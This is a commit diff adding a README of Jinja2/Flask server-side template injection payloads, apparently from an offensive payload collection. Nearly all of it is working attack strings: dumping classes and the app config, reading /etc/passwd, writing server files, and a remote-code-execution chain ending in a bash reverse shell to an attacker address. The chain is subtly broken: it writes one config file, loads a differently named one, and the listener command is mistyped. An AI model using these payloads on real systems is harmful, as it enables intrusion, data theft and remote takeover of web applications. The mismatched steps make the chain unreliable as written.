Add Template injections + Jinja template injection

Template injections/README.md

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+# Templates Injections
+
+Template injection allows an attacker to include template code into an existant (or not) template.
+
+## Jinja2
+[Official website](http://jinja.pocoo.org/)
+> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
+
+Jinja2 is used by Python Web Frameworks such as Django or Flask.
+The above injections have been tested on Flask application.
+#### Template format
+```
+{% extends "layout.html" %}
+{% block body %}
+  <ul>
+  {% for user in users %}
+    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
+  {% endfor %}
+  </ul>
+{% endblock %}
+
+```
+
+#### Dump all used classes
+```
+{{ ''.__class__.__mro__[2].__subclasses__() }}
+```
+
+#### Dump all config variables
+```python
+{% for key, value in config.iteritems() %}
+    <dt>{{ key|e }}</dt>
+    <dd>{{ value|e }}</dd>
+{% endfor %}
+```
+
+#### Read remote file
+```
+# ''.__class__.__mro__[2].__subclasses__()[40] = File class
+{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} 
+```
+
+#### Write into remote file
+```python
+{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
+```
+
+#### Remote Code Execution via reverse shell
+Listen for connexion 
+```
+nv -lnvp 8000
+```
+Inject this template
+```python
+{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
+{{ config.from_pyfile('/tmp/sokaexploit.cfg') }}  # load the evil config
+{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host
+```
+
+#### Ressources & Sources
+[https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
+
+#### Training
+[https://w3challs.com/](https://w3challs.com/)